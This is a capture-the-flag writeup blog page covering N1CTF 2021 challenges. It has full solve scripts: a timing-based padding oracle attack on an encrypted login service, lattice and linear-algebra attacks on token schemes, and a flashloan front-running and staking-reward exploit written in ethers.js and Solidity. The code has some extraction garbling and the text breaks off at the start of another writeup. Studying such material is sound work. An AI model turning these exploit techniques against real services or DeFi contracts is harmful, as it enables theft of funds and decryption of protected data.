        # when the PKCS1 check is not passed
        payload = os.urandom(48)
    return payload
 
def check_PKCS1(message):
    # message: 0x00 || 0x02 || padding string || 0x00 || (48 bytes) payload
    ok = all([
        message[0== 0x00,
        message[1== 0x02,
        all(byte != 0x00 for byte in message[2:-49]),
        message[-49== 0x00
    ])
    return ok
 
def check_time(timestamp):
    return abs(int(time.time()) - timestamp) < 30
 
def check_nonce(nonce):
    if nonce in Nonces:
        return False
    Nonces.add(nonce)
    return True
 
def AES_decrypt(key, enc_data):
    # key: aes_key || hmac_key
    aes_key = key[:24]
    hmac_key = key[24:]
    # enc_data: iv || cipher || mac
    iv, cipher, mac = enc_data[:16], enc_data[16:-16], enc_data[-16:]
 
    aes = Cipher(algorithms.AES(aes_key), modes.CBC(iv))
    decryptor = aes.decryptor()
    data = decryptor.update(cipher) + decryptor.finalize()
 
    # check padding
    data = unpad(data)
    if not data:
        return None"padding error"
 
    # check hmac
    cal_mac = iv + cipher
    for _ in range(7777):    # enhanced secure
        h = hmac.HMAC(hmac_key, hashes.MD5())
        h.update(cal_mac)
        cal_mac = h.finalize()
    if cal_mac != mac:
        return None"hmac error"
 
    return data, None
 
def pad(pt):
    pad_length = 16 - len(pt)%16
    pt += bytes([pad_length]) * pad_length
    return pt
 
def unpad(ct):
    pad_length = ct[-1]
    if pad(ct[:-pad_length]) == ct:
        return ct[:-pad_length]
    else:
        return None
 
def login(username, password):
    if username not in Users or Users[username] != cal_password_hash(password):
        print("login failed...")
        return
    print(f"{username} login ok!")
    echo_shell(username)
 
def register(username, password):
    if username in Users or len(username) > 20:
        print("register failed...")
    else:
        Users[username] = cal_password_hash(password)
        print(f"{username} register ok!")
 
def echo_shell(username):
    while True:
        command = input(f"{username}@local> ")
        if username == "admin" and command == "flag":
            print(FLAG)
        elif command == "exit":
            exit(0)
        else:
            print(command)
 
def handle(envelope):
    try:
        envelope_json = json.loads(envelope)
 
        key = RSA_decrypt(bytes.fromhex(envelope_json["rsa_data"]))
        content, err = AES_decrypt(key, bytes.fromhex(envelope_json["aes_data"]))
        if err:
            print("Error!")
            return
 
        content = json.loads(content)
        # check nonce
        if not check_nonce(content["nonce"]):
            print("Error!")
            return
        # check time
        if not check_time(content["timestamp"]):
            print("Error!")
            return
        # handle login/register
        choice = content["choice"]
        if choice == "login":
            login(content["username"], content["password"])
        elif choice == "register":
            register(content["username"], content["password"])
        else:
            print("Error!")
 
    except Exception as e:
        print("Error!")
 
 
Users = {
    # username:password_hash
    "admin""REACTED",  # admin password obeys the strong password policy
    "guest": cal_password_hash("guest")
}
 
 
def main():
    print("Welcome to the n1ogin system!")
    while True:
        envelope = input("> ")
        handle(envelope)
 
if __name__ == "__main__":
    main()
 
cs

 

The data (aes/rsa data) that the admin sent is given in a pcap file. The client file is also given to make lives easier.

 

In the cryptography world, there are a bunch of attacks that involve exploiting error messages. For example, there are padding oracle attack and Bleichenbacher's attack. There are a bunch of errors in this challenge as well, but Bleichenbacher's attack is guarded as PKCS padding error is simply ignored by taking some random bytes as the unpadded result.

 

It seems that the same goes for the padding check and HMAC check - there are a bunch of errors possible in the AES decryption (and content verification) but all of them simply return "Error!" making it hard to see which error was actually thrown. If we could decide whether AES padding was the issue, we could easily use padding oracle attack to recover the admin password, giving us the flag.

 

How can we achieve this goal? If we look at lines 71-84, the padding error is checked first, then the HMAC error. If padding error was found, then the server skips the HMAC computation. Because the HMAC function was applied 7777 times, that HMAC computation takes a significant amount of time, around 0.1 seconds. This means that with a stable server, we can decide whether or not padding error was found via timing attack. This solves the challenge :) To make the exploit more stable, I timed everything 5 times and took the median. 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
 
 
admin_data = {"rsa_data""391b06a1740b8c9cf1c8d2bb66ba5b191caa8534b4be18c22ce81069658dd2cd3ca3a8d1a3fc8dfab4b68a6b076bf89be807404e0a98dd1bf9daaf8ba34e0556131d3e56cae61c0302d24a177481209e82de7ecf91c2fe66aa39162d7af9c2fdabaf0c444badfc6b82b071fda8e3b26d4d3e57dba25c36298601ae0153c73b7469c472ac4702531c38849772e7c6e24313e6eb7def64a7bec1c21150c1fded52b3ca716d4444b4d75836dff8c92a371f6256ee7a48034f6d5ea949d982f9f05c04d3d7cce10bd11b806cc02088b42fa0cb069390700fb586287ba224ea0b210ebd0479a4f1d2ef5f914bcc861125b7d8d714cf0feecb515c1b1ef869e91ca179""aes_data""1709bf9489f6df6dc31491cee4711f7a2a3e050f1ed3e9772442e8a8483e341313713383dd31fbf0133d55e977b8edf54ba832002ee4ee52da32c260b083a35b01626201c36dad6fca7b2be2aa03d90bf5c9a601a24149f55cdcd39f0bf6a032bfabeebee5259a21e188f5c5f8776cd9d7c072054781169174bddbc390e6da21bd7b85f76c93f48914fb1958ac89e464511d9a17fb2174aab825cb13eb3f0dfa"}
 
 
conn = remote("43.155.59.224"7777)
conn.readline()
 
 
PUB_KEY = import_key(open("n1ogin.pub""r").read())
 
def send_data(data):
    envelope = json.dumps(data)
    st = time.time()
    conn.sendlineafter(b"> ", envelope.encode())
    res = conn.recvline().decode()
    en = time.time()
    return en - st
 
aesdata = bytes.fromhex(admin_data["aes_data"])
iv, cipher, mac = aesdata[:16], aesdata[16:-16], aesdata[-16:]
res = iv + cipher 
 
 
conn.sendline(b"asdf")
conn.recvline()
 
true_ptxt = [0* (len(res))
 
for i in range(len(res), 16-16):
    for j in range(016):
        tt = []
        sol = -1
        record = 0
        for k in tqdm(range(256)):
            if i == len(res) and j == 0 and k == 0:
                continue
            if (k ^ (j + 1)) > 128:
                continue
            query_token = res[:i-j-17]
            query_token += bytes([res[i-j-17] ^ k])
            for u in range(j):
                query_token += bytes([res[i-j-16+u] ^ true_ptxt[i-j+u] ^ (j+1)])
            query_token += res[i-16:i]
            # print(query_token)
            query_token += os.urandom(16)
            tot = []
            for _ in range(5):
                dat = {
                    "rsa_data" : admin_data["rsa_data"],
                    "aes_data" : query_token.hex()
                }
                spent = send_data(dat)
                tot.append(spent)
            tot.sort()
            tot = tot[2]
            tt.append((tot, chr(k ^ (j+1))))
            if tot > record:
                sol = k
                record = tot
        tt.sort()
        print(tt[-7:])
        true_ptxt[i-j-1= sol ^ (j + 1)
        print(bytes(true_ptxt))
cs

 

n1token1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from Crypto.Util.number import *
import random
from secret import flag
 
def gettoken(c):
    X = 0
    while ((pow(X, (p-1)//2, p)!=1or (pow(X, (q-1)//2, q)!=1)):
        X = 1
        while X.bit_length() < 920:
            X *= random.choice(primes)
    xp = pow(X, (p + 1)//4, p)
    xq = pow(X, (q + 1)//4, q)
    xp = random.choice([xp,-xp%p])
    xq = random.choice([xq,-xq%q])
    x = c * (xp*inverse(q,p)*+ xq*inverse(p,q)*p) % n
    return x
 
def getmyPrime(nbits):
    p = getPrime(nbits)
    while(p%4==1):
        p = getPrime(nbits)
    return p
 
primes = random.sample(sieve_base, 920)
= getmyPrime(512)
= getmyPrime(512)
= 65537
= p*q
= pow(bytes_to_long(flag), e, n)
 
with open("output.txt""w")as f:
    f.write("n = " + str(n) + "\n")
    for i in range(920):
        f.write("Token #"+str(i+1)+': '+str(gettoken(c))+'\n')
 
 
cs

 

We have 1024 bit modulus $n$ and 920 tokens. To calculate the tokens, the following procedure took place.

  • select 920 distinct small primes and store it in an array (this array is fixed)
  • compute some product of these small primes which is just over 920 bits long and is a QR modulo $n$
  • compute the square root of this value and multiply $c$ to it

 

We have to compute $c$ and also factorize $n$ from these data. 

 

Step 1 : Computing $c^2$.

Denote the token as $t$ and the selected product of primes as $X$. We have $$ t \equiv c \cdot \sqrt{X} \pmod{n} \implies t^2 \equiv c^2 \cdot X \pmod{n} \implies X \equiv t^2 c^{-2} \pmod{n}$$ Note that $n$ is 1024 bits and $X$ is less than 930 bits. Now this is just a hidden number problem, so LLL can solve it. 

 

Thanks to barkingdog for thinking of this idea and computing $c^2$! I had the idea for Step 2, but couldn't think of this.

 

Step 2 : Computing $c$ and Factorizing $n$.

Since we know $c^2 \pmod{n}$, we can now compute all $X$ values corresponding to each tokens. 

We can now easily factorize these values, as they are smooth. Consider the prime factorization of $X$.

$X$ is composed of prime factors that belong to the fixed set of 920 prime factors.

If we consider only the parity of each exponent in the prime factorization, we can regard each number as a binary vector of length 920. 

 

Since there are 920 vectors of length 920 over $\mathbb{F}_2$, it's tempting to look for kernels. Indeed, if we find a nontrivial kernel, we can multiply all equations corresponding to the kernel - and since the product of $X$'s will be a square, we can get some interesting results.

For example, if there are $l$ tokens such that the product of their $X$'s is a square, we get $$ \prod t^2 \equiv c^{2l} \cdot \prod X \pmod{n} \implies \prod t \equiv c^l \cdot \sqrt{\prod X} \cdot \text{(some square root of 1)} \pmod{n}$$

If $l$ is odd, we can get a candidate of $c$ that agrees with the found value of $c^2 \pmod{n}$. 

If $l$ is even, we can get some square root of 1. If this is $1$ or $-1$, we are out of luck. If not, we can factorize $n$ with GCD.

 

If turns out the the kernel is of dimension 2, one with $l$ odd and one with $l$ even. We are lucky on the $l$ even case as well.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
from Crypto.Cipher import AES, PKCS1_OAEP, PKCS1_v1_5
from Crypto.PublicKey import RSA
from Crypto.Util.Padding import pad, unpad
from Crypto.Util import Counter
from Crypto.Util.number import inverse, long_to_bytes, bytes_to_long, isPrime, getPrime, getRandomRange, sieve_base
from tqdm import tqdm
from pwn import *
from sage.all import *
import gmpy2, pickle, itertools, sys, json, hashlib, os, math, time, base64, binascii, string, re, struct, datetime, subprocess
import numpy as np
import random as rand
import multiprocessing as mp
from base64 import b64encode, b64decode
from sage.modules.free_module_integer import IntegerLattice
from Crypto.Hash import SHA3_256, HMAC, BLAKE2s
from Crypto.Cipher import AES, ARC4, DES
 
def inthroot(a, n):
    return a.nth_root(n, truncate_mode=True)[0]
 
fr = open("output.txt""r")
= int(fr.readline()[4:])
 
tokens = [int(fr.readline().split(": ")[1]) for _ in range(920)]
xsq = [pow(x, 2, n) for x in tokens]
 
# obtained via LLL, thanks BarkingDog!
'''
SZ = 50
 
M = [[0]*SZ for _ in range(SZ+1)]
 
for i in range(SZ):
  M[0][i] = xsq[i]
 
for i in range(SZ):
  M[i+1][i] = n
 
M = matrix(ZZ, M)
 
T = M.LLL()
 
print(T[1])
 
for i in range(SZ):
    v = T[1][i]
    A = v * pow(xsq[i],-1,n) % n
    print(A)
 
csqinv = 52983076548811446642078416561526103296256117483454486324354864860934507167817419284299797979785979560318778718382121118437029467788929084290109421055494194638653398930615132561955251638059730256502250470596999508030459148548384745026728889238876530368915312995370308785841757845456662731412090368303339076885
csq = inverse(csqinv, n)
 
print(csq)
'''
 
csq = 45826812852445545573935979277992443457076371872089648644915475778319093098825670699151487782654163657210516482531915639455166133358119343973980849423144111072114848219032243215219360482938562035117641611780636775341778802057146053472950017702818869239750207365020007621660815809140827723451995480125236607450
csqinv = 52983076548811446642078416561526103296256117483454486324354864860934507167817419284299797979785979560318778718382121118437029467788929084290109421055494194638653398930615132561955251638059730256502250470596999508030459148548384745026728889238876530368915312995370308785841757845456662731412090368303339076885
 
= [v * csqinv % n for v in xsq]
primes = []
for p in sieve_base:
    for x in X:
        if x % p == 0:
            primes.append(p)
            break
 
SZ = 920
mat = [[0* SZ for _ in range(SZ)]
# mat[i][j] : number of factor primes[i] in X[j]
 
for i in range(920):
    v = X[i]
    for j in range(920):
        while v % primes[j] == 0:
            v //= primes[j]
            mat[j][i] += 1
    
= Matrix(GF(2), mat)
basis_ = M.right_kernel().basis()
 
# Part 1 : find c
xmult = Integer(1)
Xmult = Integer(1)
cnt = 0
for i in range(920):
    cc = basis_[0][i]
    if int(cc) == 1:
        xmult = xmult * Integer(tokens[i])
        Xmult = Xmult * Integer(X[i])
        cnt += 1
 
print(cnt)
= inthroot(Xmult, 2)
xmult = xmult % n 
c_cnt = (xmult * inverse(int(v % n), n)) % n 
= (c_cnt * inverse(pow(csq, (cnt - 1// 2, n), n)) % n 
 
# Part 2 : find some sqrt of 1
xmult = Integer(1)
Xmult = Integer(1)
 
cnt = 0
for i in range(920):
    cc = basis_[1][i]
    if int(cc) == 1:
        xmult = xmult * Integer(tokens[i])
        Xmult = Xmult * Integer(X[i])
        cnt += 1
 
print(cnt)
= inthroot(Xmult, 2)
xmult = xmult % n 
c_cnt = (xmult * inverse(int(v % n), n)) % n 
sq1 = (c_cnt * inverse(pow(csq, cnt // 2, n), n)) % n 
 
print(n)
= GCD(sq1+1, n)
= GCD(sq1-1, n)
assert p != 1 and q != 1 and p * q == n
 
for u in [1-1]:
    for v in [1-1]:
        cc = crt(u, v, p, q)
        c_real = (c * cc) % n
        phi = (p - 1* (q - 1)
        d = inverse(65537, phi)
        print(long_to_bytes(pow(c_real, d, n)))
 
cs

 

n1token2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import random
from secret import FLAG
 
assert FLAG.startswith('n1ctf{')
assert FLAG.endswith('}')
SECRET = bytes.fromhex(FLAG[6:-1])
assert len(SECRET) == 16
 
= 251
 
= [120113149219]
 
= b'' 
for x in range(1, p):
    coeff = [random.choice(e)] + list(SECRET)
    y += bytes([sum(c * pow(x, i, p) for i, c in enumerate(coeff)) % p])
    
print(f'Token: {y.hex()}')
 
cs

 

We have some polynomial $p$ of degree $16$, and have a length 5 candidate set for all $p(x)$. 

To solve this, we note that if $p(x)$ is one of $a, b, c, d, e$, then the following is always true. $$(p(x) - a)(p(x) - b)(p(x)-c)(p(x)-d)(p(x)-e) \equiv 0 \pmod{p}$$ Now considering $p(x), p(x)^2, p(x)^3, p(x)^4, p(x)^5$ as independent polynomials of degree $16,32,48,64,80$, we can set up a matrix equation and solve the linear system to find $p$. This is a classical idea that I really like, so I enjoyed this challenge.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from Crypto.Cipher import AES, PKCS1_OAEP, PKCS1_v1_5
from Crypto.PublicKey import RSA
from Crypto.Util.Padding import pad, unpad
from Crypto.Util import Counter
from Crypto.Util.number import inverse, long_to_bytes, bytes_to_long, isPrime, getPrime, getRandomRange, sieve_base
from tqdm import tqdm
from pwn import *
from sage.all import *
import gmpy2, pickle, itertools, sys, json, hashlib, os, math, time, base64, binascii, string, re, struct, datetime, subprocess
import numpy as np
import random as rand
import multiprocessing as mp
from base64 import b64encode, b64decode
from sage.modules.free_module_integer import IntegerLattice
from Crypto.Hash import SHA3_256, HMAC, BLAKE2s
from Crypto.Cipher import AES, ARC4, DES
 
 
token = '1d85d235d08dfa0f0593b1cfd41d3c98f2a542b2bf7a614c5d22ea787e326b4fd37cd6f68634d9bdf5f618605308d4bb16cb9b9190c0cb526e9b09533f19698b9be89b2e88ba00e80e44d6039d3c15555d780a6a2dbd14d8e57f1252334f16daef316ca692c02485684faee279d7bd926501c0872d01e62bc4d8baf55789b541358dfaa06d11528748534103a80c699a983c385e494a8612f4f124bd0b2747277182cec061c68197c5b105a22d9354be9e436c8393e3d2825e94f986a18bd6df9ab134168297c2e79eee5dc6ef15386b96b408b319f53b66c6e55b3b7d1a2a2930e9d34287b74799a59ab3f56a31ae3e9ffa73362e28f5751f79'
token = bytes.fromhex(token)
 
# (p(x) + 1 - h)(p(x) + 20 - h)(p(x) + 113 - h)(p(x) + 149 - h)(p(x) + 219 - h)
# p(x) p(x)^2 p(x)^3 p(x)^4 p(x)^5
 
= 251
= [120113149219]
POL = PolynomialRing(GF(p), 'x')
= POL.gen()
 
= [[0* 245 for _ in range(250)]
target = []
 
for i in range(0, p-1):
    t = i + 1
    v = int(token[i])
    f = (x + 1 - v) * (x + 20 - v) * (x + 113 - v) * (x + 149 - v) * (x + 219 - v)
    arr = f.coefficients(sparse=False)
    target.append(p - arr[0])
    for j in range(016 + 1):
        M[i][j] = (arr[1* (t ** j)) % p
    for j in range(1717 + 32 + 1):
        M[i][j] = (arr[2* (t ** (j - 17))) % p 
    for j in range(17 + 3317 + 33 + 48 + 1):
        M[i][j] = (arr[3* (t ** (j - 17 - 33))) % p
    for j in range(17 + 33 + 4917 + 33 + 49 + 64 + 1):
        M[i][j] = (arr[4* (t ** (j - 17 - 33 - 49))) % p
    for j in range(17 + 33 + 49 + 6517 + 33 + 49 + 65 + 80 + 1):
        M[i][j] = (arr[5* (t ** (j - 17 - 33 - 49 - 65))) % p
 
= Matrix(GF(p), M)
target = vector(GF(p), target)
 
= M.solve_right(target)
print(M.right_kernel().basis())
flag = 'n1ctf{'
 
for i in range(117):
    flag += bytes([v[i]]).hex()
 
flag += "}"
 
print(flag)
    
 
 
cs

 

babydefi

The source code is omitted due to size reasons. We have the following setup.

  • There are two ERC20 tokens, "FlagToken" and "N1Token".
  • We can flashloan some "N1Token"s.
  • There is a Uniswap LP Pool for "FlagToken" and "N1Token".
    • This LP Pool has no 0.3% fees like Uniswap, and doesn't support flashloans.
  • There is a Farming Pool called "N1Farm".
    • There are some "N1Tokens" initially
    • If we deposit "N1Tokens", then "FlagTokens" are minted as rewards.
    • There is a sellSomeForFlag() function that sells all "N1Tokens" for "FlagTokens".
  • We have no tokens at the beginning. The goal is to have a lot of FlagTokens and some N1Tokens. 

 

The main vulnerability is from Cover Protocol exploit. I'll let google help you on details for this. 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function deposit(address token,uint256 _amount) external {
        require(token == tokenAccept,"Fake Token.");
        PoolInfo memory poolInfo = poolInfos[token]; // HERE!
        updatePool(token);
        UserInfo storage user = userInfo[msg.sender];
        if (user.amount > 0) {
            uint256 pending = user.amount.mul(poolInfo.accRewardsPerToken).div(1e18).sub(user.rewardDebt);
            if (pending > 0) {
                IMintToken(flagToken).mint(msg.sender, pending);
            }
        }
        if (_amount > 0) {
            IERC20(token).safeTransferFrom(address(msg.sender), address(this), _amount);
            user.amount = user.amount.add(_amount);
        }
        user.rewardDebt = user.amount.mul(poolInfo.accRewardsPerToken).div(1e18);
        emit Deposit(msg.sender,_amount);
    }
    
    
cs

 

We note that the poolInfo is "memory" which means that the updated poolInfo from updatePool() is not used.

This means that the accRewardPerToken is undervalued, meaning rewardDebt is undervalued. 

Therefore, in the later withdrawl, the reward we get will be way larger than what the developers intended.

 

Let's ignore that the N1Farm address holds N1Tokens for now. We'll resolve this later.

 

Consider the following scenario : we deposit X, then withdraw X-1, then deposit X-1, then withdraw X. 

In the second deposit, when rewardDebt is calculated, the poolInfo used is calculated right before the X-1 tokens are withdrawed to the caller's wallet, i.e. the updatePool() in the withdraw function. This means the rewards accrued while there were only one N1Token is ignored, so a large accRewardsPerToken is not accounted in calculation. In the next withdraw, X tokens are accounted for the large amount of unnoticed accRewardTokens, which means that a very large amount of FlagTokens are minted to the caller. This is the Cover Protocol exploit. 

 

The difference between the Cover Protocol case and ours is that we do not have any N1Tokens yet. 

Even if we can get our hands on some N1Tokens via flashloan, since everything must be in one transaction (and in one block, obviously) the updatePool() function cannot operate as we desire more than once. We need to actually get some N1Tokens.

 

To do that, we look again at the sellSomeForFlag() function. This function is public, so we can call it at will.

Since this function is guaranteed to buy FlagTokens, we can front-run this very easily. 

We need to flashloan N1Tokens, then buy FlagTokens ourselves, call the sellSomeForFlag() function, then sell our FlagTokens. 

This will give us more N1Tokens than our initial balance, so we can pay back the flashloan and send the rest to our address.

Note that this also makes N1Farm have zero N1Tokens, as we wanted above. This practically solves the challenge.

 

There are two ways to finish here. 

 

The first method is to use the deposit X, withdraw X-1, deposit X-1, withdraw X strategy multiple times.

I used this method, and it took about 15 cycles over around 30 minutes. This gives the flag, but is slow.

 

The second method is to perform the cycle then swap the FlagTokens received for some N1Tokens.

This makes the farming much more efficient, and will reach the desired FlagToken balance faster. 

 

web3 exploit written with ethersjs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
import { BigNumber, ethers } from "ethers"
import { NonceManager } from "@ethersproject/experimental"
import N1FarmAbi from "./abi/N1FarmAbi.json"
import FlagTokenAbi from "./abi/FlagTokenAbi.json"
import N1TokenAbi from "./abi/N1TokenAbi.json"
import ExploitAbi from "./abi/ExploitAbi.json"
import DeployAbi from "./abi/DeployAbi.json"
 
let myAddress = "0x0D2871cc404305ca4F141bA90cea3e8649b9B9fE";
let privatekey = "";
 
let provider = new ethers.providers.JsonRpcProvider("http://101.42.119.132:8545");
let signer = new NonceManager(new ethers.Wallet(privatekey, provider));
 
let Deploy = "0xB99B60B71E23B0fd066215e6E07fCDB1Fc3d0857"
let N1Token = "0xedCdB0d6377bc484452A26E39CA9fcB3d57faA68"
let FlagToken = "0xd46beffbA9F12d87295D42bB532429482F2bAEa2"
let Pool = "0xb221898738D1925E73b0cdDF440aA1d44d5B7092"
let N1Farm = "0x31adD2Ae6e9EF0c9F41c478916A8Ac2234A5E4FA"
 
var stnonce = 102// check your nonce
 
// chainId : const { chainId } = await provider.getNetwork() 
 
let N1TokenContract = new ethers.Contract(N1Token, N1TokenAbi, signer);
let FlagTokenContract = new ethers.Contract(FlagToken, FlagTokenAbi, signer);
let N1FarmContract = new ethers.Contract(N1Farm, N1FarmAbi, signer);
let N1TokenInterface = new ethers.utils.Interface(N1TokenAbi);
let N1FarmInterface = new ethers.utils.Interface(N1FarmAbi);
let ExploitInterface = new ethers.utils.Interface(ExploitAbi);
let DeployInterface = new ethers.utils.Interface(DeployAbi);
 
let bytecode = "0x00"// compile exploit (solidity) with 0.6.12 on remix
 
function delay(ms: number) {
    return new Promise( resolve => setTimeout(resolve, ms) );
}
 
async function deployContract() {
    console.log("deploying contract");
    let signed = await signer.signTransaction({
        from : myAddress,
        gasLimit : BigNumber.from(4000000),
        data : bytecode, 
        nonce : stnonce,
        chainId : 1211,
    })
    stnonce += 1;
    console.log("stnonce : " + stnonce.toString());
    let txhash = await provider.send("eth_sendRawTransaction", [signed]);
    console.log(txhash);
    await delay(20000);
    let res = await provider.send("eth_getTransactionReceipt", [txhash]);
    return res.contractAddress;
}
 
async function forceArbitrage(Exploit : string) {
    var calldata = ExploitInterface.encodeFunctionData("forceArbitrage");
    console.log("running exploit");
    let signed = await signer.signTransaction({
        from : myAddress,
        to : Exploit,
        gasLimit: BigNumber.from(4000000),
        nonce : stnonce,
        data : calldata, 
        chainId: 1211,
    });
    stnonce += 1;
    console.log("stnonce : " + stnonce.toString());
    await provider.send("eth_sendRawTransaction", [signed]);
    await delay(20000);
}
 
async function deposit(amount : BigNumber) {
    var calldata = N1FarmInterface.encodeFunctionData("deposit", [N1Token, amount]);
    console.log("sending deposit transaction");
    let signed = await signer.signTransaction({
        from : myAddress,
        to : N1Farm,
        gasLimit: BigNumber.from(2000000),
        nonce : stnonce,
        data : calldata, 
        chainId: 1211,
    });
    stnonce += 1;
    console.log("stnonce : " + stnonce.toString());
    await provider.send("eth_sendRawTransaction", [signed]);
    await delay(20000);
}
 
async function withdraw(amount : BigNumber) {
    var calldata = N1FarmInterface.encodeFunctionData("withdraw", [N1Token, amount]);
    console.log("sending withdraw transaction");
    let signed = await signer.signTransaction({
        from : myAddress,
        to : N1Farm,
        gasLimit: BigNumber.from(2000000),
        nonce : stnonce,
        data : calldata, 
        chainId: 1211,
    });
    stnonce += 1;
    console.log("stnonce : " + stnonce.toString());
    await provider.send("eth_sendRawTransaction", [signed]);
    await delay(20000);
}
 
async function approve() {
    var calldata = N1TokenInterface.encodeFunctionData("approve", [N1Farm, BigNumber.from(2).pow(256).sub(1)]);
    console.log("approving N1Token to N1Farm");
    let signed = await signer.signTransaction({
        from : myAddress,
        to : N1Token,
        gasLimit: BigNumber.from(2000000),
        nonce : stnonce,
        data : calldata, 
        chainId: 1211,
    });
    stnonce += 1;
    console.log("stnonce : " + stnonce.toString());
    await provider.send("eth_sendRawTransaction", [signed]);
    await delay(20000);
}
 
async function checkSolved() {
    var calldata = DeployInterface.encodeFunctionData("isSolved");
    console.log("checking solved");
    let signed = await signer.signTransaction({
        from : myAddress,
        to : Deploy,
        gasLimit: BigNumber.from(2000000),
        nonce : stnonce,
        data : calldata, 
        chainId: 1211,
    });
    stnonce += 1;
    console.log("stnonce : " + stnonce.toString());
    let txhash = await provider.send("eth_sendRawTransaction", [signed]);
    console.log("Final TxHash");
    console.log(txhash);
}
 
async function main() {
    console.log(await provider.getBalance(myAddress));
 
    let ExploitAddress = await deployContract();
    await forceArbitrage(ExploitAddress);
 
    let cur : BigNumber = await N1TokenContract.balanceOf(myAddress);
    console.log(cur.toBigInt());
    
    await approve();
 
    while(true) {
        await deposit(cur);
        await withdraw(cur.sub(1));
        await deposit(cur.sub(1));
        await withdraw(cur);
        
        console.log("myAddress");
        console.log((await N1TokenContract.balanceOf(myAddress)).toBigInt());
        console.log((await FlagTokenContract.balanceOf(myAddress)).toBigInt());
 
        console.log("SimpleSwap Pools");
        console.log((await N1TokenContract.balanceOf(Pool)).toBigInt());
        console.log((await FlagTokenContract.balanceOf(Pool)).toBigInt());
 
        console.log("poolInfo");
        console.log(await N1FarmContract.poolInfos(N1Token));
 
        console.log("N1Farm");
        console.log((await N1TokenContract.balanceOf(N1Farm)).toBigInt());
        console.log((await FlagTokenContract.balanceOf(N1Farm)).toBigInt());
 
        let flagbalance : BigNumber = await FlagTokenContract.balanceOf(myAddress);
        if(flagbalance.gt(BigNumber.from(200000).mul(BigNumber.from(10).pow(18)))) {
            break;
        }
    }
    
    await deposit(cur);
    await checkSolved();
}
 
 
main()
cs

 

solidity exploit for front running

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pragma solidity 0.6.12;
 
// implement basic interfaces via simple copy paste...
 
contract Exploit is IflashLoanCallee {
    using SafeMath for uint256;
    IFlashLoanProvider private immutable flashloan = IFlashLoanProvider(0xe93dF93555f19C5b2b0410d38c815110E236c80C);
    ISimpleSwapPair private immutable pool = ISimpleSwapPair(0xb221898738D1925E73b0cdDF440aA1d44d5B7092);
    IERC20 private immutable N1Token = IERC20(0xedCdB0d6377bc484452A26E39CA9fcB3d57faA68);
    IERC20 private immutable FlagToken = IERC20(0xd46beffbA9F12d87295D42bB532429482F2bAEa2);
    IN1Farm private immutable N1Farm = IN1Farm(0x31adD2Ae6e9EF0c9F41c478916A8Ac2234A5E4FA); 
    function forceArbitrage() external {          
        flashloan.flashloan(4000000000000000000000"1");
    }
    function getAmountOut(uint amountAIn, uint reserveA, uint reserveB) public view returns (uint amountOut) {
        uint numerator = amountAIn.mul(reserveB);
        uint denominator = reserveA.add(amountAIn);
        amountOut = numerator.div(denominator);
    }
    function flashLoanCall(address sender, IERC20 token, uint256 amountOut, bytes calldata data) external override {
          (uint112 reserveA, uint112 reserveB) = pool.getReserves();
          uint recvAmount = getAmountOut(amountOut, reserveA, reserveB);
          N1Token.transfer(address(pool), amountOut);
          pool.swap(0, recvAmount, address(this), "");
          N1Farm.sellSomeForFlag();
          uint cur_flag = FlagToken.balanceOf(address(this));
          (uint112 reserveAn, uint112 reserveBn) = pool.getReserves();
          uint recvAmountn = getAmountOut(cur_flag, reserveBn, reserveAn);
          FlagToken.transfer(address(pool), cur_flag);
          pool.swap(recvAmountn, 0, address(this), "");
          N1Token.transfer(address(flashloan), amountOut);
          uint rem = N1Token.balanceOf(address(this));
          N1Token.transfer(address(0x0D2871cc404305ca4F141bA90cea3e8649b9B9fE), rem);
    }     
}
cs

 

 

'CTF' 카테고리의 다른 글

CODEGATE 2022 Preliminary : Dark Arts  (0) 2022.02.28
SECCON CTF 2021 Writeups  (0) 2021.12.14
PBCTF 2021 Writeups  (0) 2021.10.13
TSGCTF 2021 Writeups  (0) 2021.10.03
DUCTF 2021 Writeups  (0) 2021.09.26

PBCTF 2nd place, Super Guesser (apparently Super Guessers)

Solved : Goodhash, Yet Another RSA, Yet Another PRNG, Seed Me

 

Goodhash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/env python3
 
from Crypto.Cipher import AES
from Crypto.Util.number import *
from flag import flag
import json
import os
import string
 
ACCEPTABLE = string.ascii_letters + string.digits + string.punctuation + " "
 
 
